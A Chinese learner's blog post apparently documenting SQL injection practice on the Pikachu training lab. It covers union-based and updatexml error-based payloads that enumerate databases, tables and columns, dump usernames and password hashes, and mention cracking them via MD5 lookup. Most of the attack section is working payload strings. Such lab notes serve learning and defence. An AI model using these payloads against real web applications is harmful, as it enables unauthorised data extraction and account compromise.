网络安全第六天--SQL注入(二)

为下面的学习铺垫一些基础

一  union联合查询

可以通过联合查询来查询指定的数据

用法举例:
select username,password from user where id=1 union select 字段1 ,字段2 from 表名

但是注意一点 ,联合查询的字段数需要和主查询一致

这个就我目前而言 可以理解为输入正常数据查询时,下方的字段数

在实际运用中

首先应该尝试字段数(使用二分法)

其次用union得到想要的东西

实验如下(注意闭合!!!!)

先试试5

不存在

我又尝试了2,3

在2时虽然报错,但是成功得知0为二字段

确认字段后,构建union

a' union select database(),uesr()#

Select version(); //取的数据库版本
Select database(); //取得当前的数据库
Select user(); //取得当前登录的用户
order by X //对查询的结果进行排序,按照第X列进行排序,默认数字0-9 ,字母a-z
思路:对查询的结果使用order by按照指定的列进行排序,如果指定的列不存在,数据库会报错。通过报错判断查询结果的列数,从而确定主查询的字段数。

当然还可以查其他的

二  通过information_scheam拿下一个数据库

1 判断是否有SQL漏洞

输入单引号

语法报错

说明有漏洞

2 查询字段

同上 为2段

3  联合查询

数据库名称

kobe' union select database(),user()#

数据库名称为pikachu

拿到名称后我们就可以通过information_ schema去获取数据

通过union联合查询,然后通过information_ schema去获取pikachu一共有多少个表

表的名称是什么

kobe' union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#

成功爆库

注意user

应该有账号密码 

kobe' union select table_name,column_name from information_schema.columns where table_name='users'#

成功爆表,得知有账号密码

继续爆

kobe' union select username,password from users#

得知账号密码 虽然被加密

但是可以破解 

MD5解密

三 SQL Inject漏洞手工测试:基于报错的信息获取(select/delete/update/insert)

可以用这个函数的报错完成

构造报错

kobe' and updatexml(1,version(),0)#

好像不对

需要重新构造payload

kobe' and updatexml(1,concat(0x7e,version()),0)#

concat意思是将两个字符串连在一起

得到信息如下

kobe' and updatexml(1,concat(0x7e,database()),0)#

得到数据库如下

 接着就是数据表 使用limit一次一次进行获取表名

kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)#
 

想要得到第二个表名只要把0改成1即可。依此类推,可以得到所有表名。在获取表名之后,思路一样,获取列名

kobe' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),0)#

继续获取用户名

kobe' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0)#
 

继续获取密码

kobe' and updatexml(1,concat(0x7e,(select password from users where username='admin' limit 0,1)),0)#

然后解密就OK了

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值